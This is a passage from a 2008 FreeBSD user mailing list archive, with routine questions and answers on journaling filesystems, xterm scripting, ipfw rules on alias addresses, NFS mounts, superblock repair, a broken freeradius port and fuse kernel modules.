software, 4 GB RAM, etc...) > what file system would you choose? What options are out there besides > UFS and ZFS? What FS's are least likely to have corruption issues > when there are power hits? May be UFS + gjournal. I use gjournal since FreeBSD 7.0 and it seems to work fine. Regards. From freebsd at edvax.de Wed Dec 3 05:36:23 2008 From: freebsd at edvax.de (Polytropon) Date: Wed Dec 3 05:36:30 2008 Subject: open multiple xterms with script In-Reply-To: <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> Message-ID: <20081203143614.bd0ef0cc.freebsd@edvax.de> On Wed, 3 Dec 2008 09:58:52 +0200, "Aggelidis Nikos" wrote: > some additional questions: > > 1) is there any way to give the root password once? i tried this: > #!/bin/sh > > su root -c "\ > xterm -geometry 80x25 -title 'App 1' -e 'app1' & > xterm -geometry 80x25 -title 'App 2' -e 'app2'\ > " > > but i get this: > xterm Xt error: Can't open display: %s Exactly. When you su root, $DISPLAY is not set, so you would have to set it first, maybe like this: #!/bin/sh su root -c "\ export DISPLAY=:0.0; \ xterm -geometry 80x25 -title 'App 1' -e 'app1' & xterm -geometry 80x25 -title 'App 2' -e 'app2' \ " > 2) > Is there any way to > instruct xterm not to close after the execution of the program? You could do this: xterm -geometry 80x25 -title 'App 1' -e 'app1 ; csh' & which would start your prefered dialog shell when "app1" has finished. The dialog shell would run even if "app" fails (that?s why I suggest using ; instead of &&). > So basically the idea is open 4 terminals, execute a specific command > inside them but if the command finishes or stops, the terminal stays > {with a new prompt}. This sould be able to be achieved using the example above. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From wojtek at wojtek.tensor.gdynia.pl Wed Dec 3 05:58:09 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Wed Dec 3 05:58:15 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: <20081203134633.57adc024@baby-jane> References: <20081203134633.57adc024@baby-jane> Message-ID: <20081203145731.U47196@wojtek.tensor.gdynia.pl> >> what file system would you choose? What options are out there besides >> UFS and ZFS? What FS's are least likely to have corruption issues >> when there are power hits? > > May be UFS + gjournal. > I use gjournal since FreeBSD 7.0 and it seems to work fine. is it really smart enough to not write everything twice or am i wrong? From kelly.terry.jones at gmail.com Wed Dec 3 06:04:38 2008 From: kelly.terry.jones at gmail.com (Kelly Jones) Date: Wed Dec 3 06:04:45 2008 Subject: Basic Tulip questions Message-ID: <26face530812030604k374e9d2bwb459c49b5e2d9de5@mail.gmail.com> I just installed Tulip on my FreeBSD server. The server has X11 installed, but isn't running it. I asked the questions below to the Tulip list (auber-users@lists.sourceforge.net) earlier, but got no reply, so I was hoping someone here was familiar w/ it and could help me. Does Tulip have a command-line mode? Can Tulip recognize graphviz-generated graph files such as those attached? I couldn't find a way to load these into Tulip? My experience has been w/ graphviz, and my goal is to create planar graphs from various data sources. Graphviz does this, but the resulting graphs tend to (ironically) have both overlapping nodes (boxes too close to each other) AND excessive space between nodes (the graphs could be a lot more compact). In some cases, graphviz creates unnecessarily huge (eg, 32768x32768) GIF files for fairly simple graphs. I'm hoping Tulip will automatically draw fairly nice graphs + have options that let me make them look even nicer, ideally from the command-line. -- We're just a Bunch Of Regular Guys, a collective group that's trying to understand and assimilate technology. We feel that resistance to new ideas and technology is unwise and ultimately futile. -------------- next part -------------- A non-text attachment was scrubbed... Name: by-balloon-sahara.dot Type: application/octet-stream Size: 6964 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081203/685bd106/by-balloon-sahara.obj -------------- next part -------------- digraph x { edge [fontsize=10,fontcolor=red,arrowhead=open]; node [shape=polygon,fontsize=10,fontcolor=blue]; large_brass_bed [label="large brass bed\n(sheets, pillow)"]; large_brass_bed -> bedroom [label="get up"]; bedroom [label=" bedroom\n(window, bed)"]; bedroom -> ledge_outside_window [label="go window"]; ledge_outside_window [label="ledge outside window\n(flag pole)"]; ledge_outside_window -> bedroom [label="go window"]; bedroom [label="bedroom"]; bedroom -> hall [label="n"]; hall [label="hall"]; hall -> bathroom [label="n"]; bathroom [label="bathroom\n(mirror, watch, toilet)"]; bathroom -> hall [label="s"]; hall [label="hall"]; hall -> outside_castle [label="e"]; outside_castle [label="outside castle\n(coat-of-arms, bell pull)"]; outside_castle -> meandering_path [label="e"]; meandering_path [label="meandering path\n(castle, fence/gate, crowd)"]; meandering_path -> GAME_END [label="go gate"]; GAME_END [label="GAME END"]; hall [label="hall"]; hall -> kitchen [label="w"]; kitchen [label="kitchen\n(oven, DW)"]; kitchen -> DW_kitchen [label="go dumb"]; DW_kitchen [label="DW (kitchen)"]; DW_kitchen -> DW_pantry [label="raise dumbwaiter"]; DW_pantry [label="DW (pantry)"]; DW_pantry -> pantry [label="go room"]; pantry [label="pantry\n(matches, garlic, DW)"]; DW_kitchen [label="DW (kitchen)"]; DW_kitchen -> DW_workroom [label="lower dumbwaiter"]; DW_workroom [label="DW (workroom)"]; DW_workroom -> workroom [label="go room"]; workroom [label="workroom\n(door, mallet, DW, vent, memo)"]; workroom -> dungeon [label="d"]; dungeon [label="dungeon\n(pit, iron rings)"]; dungeon -> pit [label="go pit"]; pit [label="pit\n(torch)"]; workroom [label="workroom"]; workroom -> closet [label="go door"]; closet [label="closet\n(vial, dust, no-doz)"]; closet -> workroom [label="w"]; workroom [label="workroom"]; kitchen [label="kitchen"]; kitchen -> giant_solar_oven [label="go oven"]; giant_solar_oven [label="giant solar oven\n(nail file, lens)"]; giant_solar_oven -> kitchen [label="w"]; kitchen [label="kitchen"]; ledge_outside_window [label="ledge outside window"]; ledge_outside_window -> hanging_on_sheet [label="climb sheet"]; hanging_on_sheet [label="hanging on sheet"]; hanging_on_sheet -> flower_box [label=" go window"]; flower_box [label="flower box\n(daisies)"]; flower_box -> doorless_room [label="go window"]; doorless_room [label="doorless room\n(portrait, window)"]; doorless_room -> flower_box [label=" go window"]; flower_box [label=" flower box"]; flower_box -> hanging_on_sheet [label=" climb sheet"]; hanging_on_sheet [label=" hanging on sheet"]; hanging_on_sheet -> ledge_outside_window [label=" climb sheet"]; ledge_outside_window [label=" ledge outside window"]; doorless_room [label="doorless room"]; doorless_room -> dark_passage [label="go passage"]; dark_passage [label="dark passage"]; dark_passage -> crypt [label="n"]; crypt [label="crypt\n(cigarettes, vent, sign, coffin)"]; crypt -> large_coffin [label=" go coffin"]; large_coffin [label="large coffin\n(slide bolt)"]; large_coffin -> crypt [label="u"]; crypt [label="crypt"]; crypt -> dark_passage [label="s"]; dark_passage [label="dark passage"]; dark_passage -> doorless_room [label="s"]; doorless_room [label="doorless room"]; } From ivoras at freebsd.org Wed Dec 3 06:05:33 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Wed Dec 3 06:05:47 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: <20081203145731.U47196@wojtek.tensor.gdynia.pl> References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >>> what file system would you choose? What options are out there besides >>> UFS and ZFS? What FS's are least likely to have corruption issues >>> when there are power hits? >> >> May be UFS + gjournal. >> I use gjournal since FreeBSD 7.0 and it seems to work fine. > is it really smart enough to not write everything twice or am i wrong? It writes everything twice :) (but every journaling system has to write something twice) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081203/eb60ffbf/signature.pgp From kelly.terry.jones at gmail.com Wed Dec 3 06:19:06 2008 From: kelly.terry.jones at gmail.com (Kelly Jones) Date: Wed Dec 3 06:19:13 2008 Subject: sniffit requires config file? Message-ID: <26face530812030619g30cf8624k1cdd5b619ae607e7@mail.gmail.com> Whenever I use sniffit on a new machine, I have to create this conf file: select both mhosts 0 select both mhosts 1 select both mhosts 2 select both mhosts 3 select both mhosts 4 select both mhosts 5 select both mhosts 6 select both mhosts 7 select both mhosts 8 select both mhosts 9 Not a huge deal, but can I make sniffit sniff all packets w/o a conf file? -- We're just a Bunch Of Regular Guys, a collective group that's trying to understand and assimilate technology. We feel that resistance to new ideas and technology is unwise and ultimately futile. From wojtek at wojtek.tensor.gdynia.pl Wed Dec 3 06:21:27 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Wed Dec 3 06:21:34 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> Message-ID: <20081203152044.I47300@wojtek.tensor.gdynia.pl> >>> I use gjournal since FreeBSD 7.0 and it seems to work fine. >> is it really smart enough to not write everything twice or am i wrong? > > It writes everything twice :) > > (but every journaling system has to write something twice) there is a big difference between something (metadata, short data writes and everything (like huge file data) From alun.eyre at db.com Wed Dec 3 06:37:25 2008 From: alun.eyre at db.com (Alun Eyre) Date: Wed Dec 3 06:37:33 2008 Subject: which version for an eee pc 901? Message-ID: Hi, I have been following the progress (well done so far everyone involved!) on the Asus EEE PC Wiki pages, but had a quick question: All the drivers committed/in development/done so far, will they be included in Rel 7_1? Or would I need to keep tracking 7 stable, or even, current (8.0?) This is for my personal EEE PC - a 901 (currently running the default xandros, but looking forward to moving towards FreeBSD!) Thanks, Alun. --- This e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and delete this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden. Please refer to http://www.db.com/en/content/eu_disclosures.htm for additional EU corporate and regulatory disclosures. From kdk at daleco.biz Wed Dec 3 06:58:09 2008 From: kdk at daleco.biz (Kevin Kinsey) Date: Wed Dec 3 06:58:17 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 In-Reply-To: <255166.65897.qm@web51106.mail.re2.yahoo.com> References: <255166.65897.qm@web51106.mail.re2.yahoo.com> Message-ID: <49369E3A.8050305@daleco.biz> Dino Vliet wrote: > Hi people, > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error What does $file /usr/local/modules/fuse.ko say, and do you have Linux support built and enabled? Kevin Kinsey -- A failure will not appear until a unit has passed final inspection. From fbsd06 at mlists.homeunix.com Wed Dec 3 06:59:15 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Wed Dec 3 06:59:24 2008 Subject: freebsd-update through proxy with auth In-Reply-To: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> References: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> Message-ID: <20081203145910.0cab5963@gumby.homeunix.com> On Wed, 03 Dec 2008 10:36:29 +0200 "DA Forsyth" wrote: > Hiya > > How do I get freebsd-update to fetch through a proxy that requires > authentication? I cannot find any options in the man pages. > have you tried putting it in the proxy name http://user:pass@server:port From nrml at att.net Wed Dec 3 07:28:47 2008 From: nrml at att.net (nrml nrml) Date: Wed Dec 3 07:28:53 2008 Subject: IPSec + vpn + multicast Message-ID: <11691.95194.qm@web83803.mail.sp1.yahoo.com> Hello, I followed the handbook instructions and the ipsec(4) man page to setup vpn-over-ipsec for our company's site-to-site connection via our dedicated T1. Anyway I have it working but I found that I need to make sure that multicast traffic can traverse through the two subnets. I have the following options in my kernel: FreeBSD somebox.domain.com 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #1: Fri Nov 21 08:11:47 PST 2008 root@somebox.domain.com:/usr/obj/usr/src/sysKERNEL i386 device crypto options IPSEC options IPSEC_FILTERTUNNEL options IPSEC_DEBUG #debug for IP Security options IPSEC_NAT_T ipsec-tools: # This file is auto-generated by 'make config'. # No user-servicable parts inside! # Options for ipsec-tools-0.7.1 _OPTIONS_READ=ipsec-tools-0.7.1 WITH_DEBUG=true WITH_IPV6=true WITHOUT_ADMINPORT=true WITHOUT_STATS=true WITH_DPD=true WITH_NATT=true WITH_NATTF=true WITH_FRAG=true WITH_HYBRID=true WITHOUT_PAM=true WITHOUT_RADIUS=true WITHOUT_LDAP=true WITHOUT_GSSAPI=true WITHOUT_SAUNSPEC=true WITH_RC5=true WITH_IDEA=true Does anyone know how I can accomplish this? The goal is to try and have transparency between the two sites to and try and get Bonjour working. Thanks for your help. --gabe From wojtek at wojtek.tensor.gdynia.pl Wed Dec 3 07:31:37 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Wed Dec 3 07:31:44 2008 Subject: cvs stupid question Message-ID: <20081203163047.B47567@wojtek.tensor.gdynia.pl> i try export CVSROOT=freebsdanoncvs@anoncvs.FreeBSD.org:/home/ncvs cvs checkout -rRELENG_7 src waited over an hour, no files got fetched what i'm doing wrong? From smithi at nimnet.asn.au Wed Dec 3 07:57:23 2008 From: smithi at nimnet.asn.au (Ian Smith) Date: Wed Dec 3 07:57:30 2008 Subject: Is there anything weird I should know about using ipfw on alias addresses? In-Reply-To: <4934534D.1060100@net24.co.nz> References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> <4934534D.1060100@net24.co.nz> Message-ID: <20081204012026.O60430@sola.nimnet.asn.au> On Tue, 2 Dec 2008, Brett Davidson wrote: > Ian Smith wrote: > > On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson > > wrote: > > > > > ifconfig shows the alias addresses correctly bound. > > > Creating an ipfw rule and testing it from the command line works > > > (connects out from master address, not alias) > > > > From website on alias address, the firewall blocks the packets. > > > > > > The weird thing is that it tags them (in the security log) as coming > > > from the master address (not the alias) out the correct interface. In a > > > normal world that would mean the packet would match!!!!! > > > > What's goin' on here Willis? > > > > Difficult to tell without seeing a) ifconfig b) netstat -rn c) at least the > > relevant firewall rule/s and d) log entries that illustrate your problem. > > Obscure sensitive information by all means, but otherwise pretend we > > haven't the slightest clue how your system is configured :) > > Fair enough. > > ifconfig below: > > bce1: flags=8843 mtu 1500 > options=3b > inet 210.5.50.5 netmask 0xffffffe0 broadcast 210.5.50.31 NB .. > inet 210.5.51.32 netmask 0xffffffff broadcast 210.5.51.32 > inet 210.5.51.27 netmask 0xffffffff broadcast 210.5.51.27 > inet 210.5.51.33 netmask 0xffffffff broadcast 210.5.51.33 > inet 210.5.51.34 netmask 0xffffffff broadcast 210.5.51.34 > inet 210.5.51.42 netmask 0xffffffff broadcast 210.5.51.42 > inet 210.5.51.4 netmask 0xffffffff broadcast 210.5.51.4 > ether 00:1c:c4:c0:56:94 > media: Ethernet autoselect (1000baseSX ) > status: active > > Relevant /etc/rc.conf entries : > ifconfig_bce1="inet 210.5.50.5 netmask 255.255.255.224" > ifconfig_bce1_alias0="inet 210.5.50.5 netmask 255.255.255.224" Your first alias here is a repeat of the 'primary' address. ifonfig seems to have resolved/merged that above, but it's not an alias. > ifconfig_bce1_alias1="inet 210.5.51.4 netmask 255.255.255.255" > ifconfig_bce1_alias2="inet 210.5.51.27 netmask 255.255.255.255" > ifconfig_bce1_alias3="inet 210.5.51.32 netmask 255.255.255.255" > ifconfig_bce1_alias4="inet 210.5.51.33 netmask 255.255.255.255" > ifconfig_bce1_alias5="inet 210.5.51.34 netmask 255.255.255.255" > ifconfig_bce1_alias6="inet 210.5.51.42 netmask 255.255.255.255" I didn't spot on first reading this that the first address is in a different subnet than all the others. I'm not entirely sure whether that's relevant, or how, just pointing it out as being non-obvious, and suspecting one of the 210.5.51 subnet should show a broader netmask. > Relevant ipfw rules : > ipfw -q add 02012 allow tcp from any to 208.69.123.164 80 out via bce1 setup > keep-state > ipfw -q add 02012 allow tcp from any to 208.69.123.164 443 out via bce1 setup > keep-state netstat -finet -rn (or -rna) please? unclear where your default route goes, or how the 210.5.51 subnet is routed or its netmask, but assume that 208.69.123.164 is probably accessed via the default route .. > Interesting entries in /var/log/security : > Dec 1 16:42:25 kernel: ipfw: 9999 Deny TCP 210.5.50.5:49708 > 208.69.123.164:80 out via bce1 Did that occur =after= the above rules were installed? Just the one? Seems odd on face value, but without knowing what your other rules do. > What makes this interesting is that I can connect to that port via the > command line. You mean like with 'telnet 208.69.123.164 80' ? With 210.5.50.5 as source address? tcpdump output may help understand or explain this. > It's the website that lives on 210.5.51.42 that is having problems. Why, if > the rule is valid enough for the command line is it having problems from an > aliased address? Hang on; do you mean you're having a webserver on 210.5.51.42 trying to connect out to another webserver on 208.69.123.164 ? If not, what? I guess you have rules allowing inbound port 80 access to 210.5.51.42 ? And that your upstream is routing 210.5.51.42/something to 210.5.50.5 ? > This MUST have something to do with the way ipfw is working with aliased > addresses but I'm blowed if I know what is wrong. ipfw doesn't do anything different with any address in particular except when using the forward action. ipfw certainly has no concept of primary or alias addresses, it just applies the addresses/masks you specify. Nor does ipfw know or care (even when forwarding) whence the stack is next going to route outbound packets .. but netstat -rn will tell us. cheers, Ian From weldon at excelsus.com Wed Dec 3 08:12:20 2008 From: weldon at excelsus.com (Weldon S Godfrey 3) Date: Wed Dec 3 08:12:27 2008 Subject: loader.conf issues Message-ID: <20081203103803.V43611@emmett.excelsus.com> I did a quick search for this and didn't see anyone seeing this. I am running 7.0-PRERELEASE amd64 This is my loader.conf: vm.kmem_size_max="16106127360" vm.kmem_size="1073741824" kern.maxvnodes="800000" However, this is what happens after reboot: store1# sysctl -a | grep kmem vm.kmem_size_scale: 3 vm.kmem_size_max: 3221225472 vm.kmem_size_min: 0 vm.kmem_size: 1073741824 store1# sysctl -a | grep kern.maxvn kern.maxvnodes: 100000 store1# Is there some issue with vm.kmem_size_max being larger than 3G? If this has been fixed, let me know. I am using 7.0-RELEASE loader from amd64 iso since for some reason, when I complile a new loader on this Dell 2950-iii, I get an unusable loader (it just hangs before the screen to select safe mode, single user mode, etc). Thanks, Weldon From raggen at passagen.se Wed Dec 3 08:59:12 2008 From: raggen at passagen.se (Roger Olofsson) Date: Wed Dec 3 08:59:19 2008 Subject: mount_nfs from fstab with -L option? Message-ID: <4936B5D5.1090709@passagen.se> Dear mailing list, What would be the correct way to do the following: mount_nfs -L server:/path mnt when using the /etc/fstab file? Greetings from Sweden /Roger From johnny64 at swissjabber.org Wed Dec 3 09:16:45 2008 From: johnny64 at swissjabber.org ((-K JohnNy) Date: Wed Dec 3 09:16:54 2008 Subject: Running X without a videocard In-Reply-To: <200811200117.mAK1H9Y0073881@banyan.cs.ait.ac.th> References: <006b01c949da$2985e9f0$7c91bdd0$@com> <20081119112554.R6005@wojtek.tensor.gdynia.pl> <200811191035.mAJAZc21042934@banyan.cs.ait.ac.th> <11167f520811191058m7e07c347u272dc9db0a15027d@mail.gmail.com> <20081119224923.L8555@wojtek.tensor.gdynia.pl> <200811200117.mAK1H9Y0073881@banyan.cs.ait.ac.th> Message-ID: <20081203171633.GA19592@georg.localdomain> > > DISPLAY variable must point to display > > like IP-number:0 (or non-zero if you have more than 1 display :) > > Shouldn't that be IP-number:0.0 ? > > Olivier Only in case there are multiple screens on the specified server. (The first number, which is mandatory, IIRC, specifies the server and the second, optional, specifies its screen.) (-K -- (-K JohnNy aka Partial Derivative ? [home] http://johnny64.fixinko.sk/ [icq] 338328204 [abandoned] [jabber] JohnNy64@swissjabber.org [skype] JohnNy64-konik [abandoned] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081203/56a6e349/attachment.pgp From af.gourmet at videotron.ca Wed Dec 3 09:28:59 2008 From: af.gourmet at videotron.ca (PJ) Date: Wed Dec 3 09:29:06 2008 Subject: restore superblock Message-ID: <4936C1CA.2040501@videotron.ca> I have been googling for superblock restore and things are a bit confusing. Some of the commands don't seem to match current fsck parameters (notably -b doesn't exist. Apparently I should be able to reconstruct the superblock(s) on my /usr partition (slice ?) as my searches found that there are backups of the superblocks on the files systems. But how do I find them and restore the corrupt ones? Not clear in my searches. I have another installation of fbsd 7.0 on another machine with the partitioning identical and identical hdds. How could I use the superblock and/or other information from the good installation to repair the damaged one - or would it be possible to recover the superblock info from the damaged one's backcups? Phil Jourdan From kitchetech at gmail.com Wed Dec 3 09:30:43 2008 From: kitchetech at gmail.com (matt donovan) Date: Wed Dec 3 09:30:55 2008 Subject: /usr/ports/net/freeradius2 port broken In-Reply-To: <00da01c95518$64e49d90$2eadd8b0$@za.net> References: <00da01c95518$64e49d90$2eadd8b0$@za.net> Message-ID: <28283d910812030930r724b19fcid526fcd85742f038@mail.gmail.com> On Wed, Dec 3, 2008 at 2:26 AM, Marcel Grandemange wrote: > Anyone else aware that the freeradius2 port is broken? > > > [root@devvm /usr/ports/net/freeradius2]# make > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in > /usr/ports/distfiles/. > => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size unknown > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size of remote file is not known > freeradius-server-2.0.5.tar.bz2 317 B 3535 Bps > ===> Extracting for freeradius-2.0.5 > => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > ===> Refetch for 1 more times files: freeradius-server-2.0.5.tar.bz2 > freeradius-server-2.0.5.tar.bz2 > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in > /usr/ports/distfiles/. > => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size unknown > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size of remote file is not known > freeradius-server-2.0.5.tar.bz2 361 B 2208 Bps > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > ===> Giving up on fetching files: freeradius-server-2.0.5.tar.bz2 > freeradius-server-2.0.5.tar.bz2 > Make sure the Makefile and distinfo file > (/usr/ports/net/freeradius2/distinfo) > are up to date. If you are absolutely sure you want to override this > check, type "make NO_CHECKSUM=yes [other args]". > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > [root@devvm /usr/ports/net/freeradius2]# make NO_CHECKSUM=yes > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > ===> Extracting for freeradius-2.0.5 > ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found > bzip2: /usr/ports/distfiles//freeradius-server-2.0.5.tar.bz2 is not a bzip2 > file. > ===> Patching for freeradius-2.0.5 > ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found > ===> Applying FreeBSD patches for freeradius-2.0.5 > patch: **** can't cd to > /usr/ports/net/freeradius2/work/freeradius-server-2.0.5: No such file or > directory > => Patch patch-config-security failed to apply cleanly. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > [root@devvm /usr/ports/net/freeradius2]# > > > Regards > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org > The port works fine here it fallsback to ftp://ftp.freeradius.org/pub/freeradius/old/ which it should to grab 2.0.5.try updating your ports(if you have not already) and try again From korvus at comcast.net Wed Dec 3 09:30:58 2008 From: korvus at comcast.net (Steve Polyack) Date: Wed Dec 3 09:31:05 2008 Subject: mount_nfs from fstab with -L option? In-Reply-To: <4936B5D5.1090709@passagen.se> References: <4936B5D5.1090709@passagen.se> Message-ID: <4936BF27.3030607@comcast.net> Roger Olofsson wrote: > Dear mailing list, > > What would be the correct way to do the following: > > mount_nfs -L server:/path mnt > > when using the /etc/fstab file? > > Greetings from Sweden > > /Roger > Any options passed to mount(8)may be added (comma separated) to the Options section in /etc/fstab. For example: # Device Mountpoint FSType Options Dump Pass# server:/path /mnt nfs rw,-L 0 0 From 240olofsson at telia.com Wed Dec 3 09:45:25 2008 From: 240olofsson at telia.com (Roger Olofsson) Date: Wed Dec 3 09:45:32 2008 Subject: mount_nfs from fstab with -L option? In-Reply-To: <4936BF27.3030607@comcast.net> References: <4936B5D5.1090709@passagen.se> <4936BF27.3030607@comcast.net> Message-ID: <4936C5B1.2070809@telia.com> Steve Polyack skrev: > Roger Olofsson wrote: >> Dear mailing list, >> >> What would be the correct way to do the following: >> >> mount_nfs -L server:/path mnt >> >> when using the /etc/fstab file? >> >> Greetings from Sweden >> >> /Roger >> > > Any options passed to mount(8)may be added (comma separated) to the > Options section in /etc/fstab. > > For example: > > # Device Mountpoint FSType Options Dump Pass# > server:/path /mnt nfs rw,-L 0 0 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > > ------------------------------------------------------------------------ > > > No virus found in this incoming message. > Checked by AVG - http://www.avg.com > Version: 8.0.176 / Virus Database: 270.9.13/1826 - Release Date: 2008-12-03 09:34 > Thank you Steve! /Roger From af.gourmet at videotron.ca Wed Dec 3 09:50:03 2008 From: af.gourmet at videotron.ca (PJ) Date: Wed Dec 3 09:50:10 2008 Subject: restore superblock In-Reply-To: <4936C1CA.2040501@videotron.ca> References: <4936C1CA.2040501@videotron.ca> Message-ID: <4936C6CA.4060100@videotron.ca> PJ wrote: > I have been googling for superblock restore and things are a bit > confusing. Some of the commands don't seem to match current fsck > parameters (notably -b doesn't exist. > Apparently I should be able to reconstruct the superblock(s) on my > /usr partition (slice ?) as my searches found that there are backups > of the superblocks on the files systems. > But how do I find them and restore the corrupt ones? Not clear in my > searches. > I have another installation of fbsd 7.0 on another machine with the > partitioning identical and identical hdds. > How could I use the superblock and/or other information from the good > installation to repair the damaged one - or would it be possible to > recover the superblock info from the damaged one's backcups? > Phil Jourdan > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > Here is what I get when I run fsck /dev/ad8s1f : **fsck /dev/ad8s1f **Last Mounted on /usr Phase 1 - Check Blocks and Sizes UNKNOWN FILE TYPE I=2802880 UNEXPECTED SOFT UPDATE INCONSISTENCY (I answered n to all the remove? [yn] questions) UNKNOWN FILE TYPE I=3297280 UNKNOWN FILE TYPE I=3297408 INCORRECT BLOCK COUNT I=4008454 (1440 should be 384) PHASE 2 - Check Pathnames DUP/BAD I=3297280 OWNER = ROOT MODE=40755 SIZE=8192 MTIME= JUL 21 14:25 2008 DIR= /lib Hope this give some useful information. Phil Jourdan From dino_vliet at yahoo.com Wed Dec 3 10:08:52 2008 From: dino_vliet at yahoo.com (Dino Vliet) Date: Wed Dec 3 10:09:02 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 In-Reply-To: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> Message-ID: <128452.3938.qm@web51108.mail.re2.yahoo.com> --- On Wed, 12/3/08, Scot Hetzel wrote: From: Scot Hetzel Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 To: dino_vliet@yahoo.com Cc: alepulver@freebsd.org, freebsd-questions@freebsd.org, freebsd-ports@freebsd.org Date: Wednesday, December 3, 2008, 12:17 PM On 12/3/08, Dino Vliet wrote: > Hi people, > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. > > uname -a gives: > FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC amd64 > > pkg_info | grep fuse gives: > > fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse > fusefs-libs-2.7.3 FUSE allows filesystem implementation in userspace > fusefs-ntfs-1.2531 Mount NTFS partitions (read/write) and disk images > > Does anyone have a clue as to what is causing this behavior? How did you install the fusefs-kmod was it from a package or did you build it through the ports system? The most likely cause of this error is due to the fuse.ko module was not built against the same source as your kernel. Rebuild fusefs-kmod and that should resolve the problem. Scot Hi Scot, I installed it from ports. I think as a dependency on fusefs-ntfs? I will rebuild my system as I upgraded lately from 6.3 to 7, but I'm sure I just followed the handbook and did everything allright. Will post the results when I try this again afterwards. Brgds Dino From dino_vliet at yahoo.com Wed Dec 3 10:11:05 2008 From: dino_vliet at yahoo.com (Dino Vliet) Date: Wed Dec 3 10:11:13 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 In-Reply-To: <49369E3A.8050305@daleco.biz> Message-ID: <507318.69430.qm@web51106.mail.re2.yahoo.com> --- On Wed, 12/3/08, Kevin Kinsey 